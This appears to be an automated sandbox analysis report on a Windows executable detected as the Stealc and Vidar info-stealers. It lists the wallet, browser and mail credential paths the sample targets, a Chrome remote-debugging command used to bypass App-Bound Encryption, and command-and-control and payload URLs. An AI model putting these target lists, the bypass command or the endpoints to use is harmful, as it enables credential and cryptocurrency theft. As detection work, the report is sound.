Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\app-store.json.*1$
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7372, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2681153036.00000000008C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2171878239.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7372, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.16/mine/random.exek	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php4f	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phptemDrive=C:System	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	3.160.188.68	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732395573000&w=0&anoncknm=app_anon	false	high
http://185.215.113.206/	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239379451728_14XNMF6X4FSK32IPX&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239379451727_17498QGLTWDI94GLW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239379264246_1WZI9SDGXO2UI868L&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239379264247_1V1UB3I9T9AQAMZ40&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	false		high
http://www.broofa.com	chromecache_336.7.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
https://www.last.fm/	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.16.dr	false		high
https://docs.google.com/	manifest.json0.15.dr	false		high
https://www.youtube.com	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://www.instagram.com	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://drive.google.com/	manifest.json0.15.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://www.messenger.com	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.php4f	file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
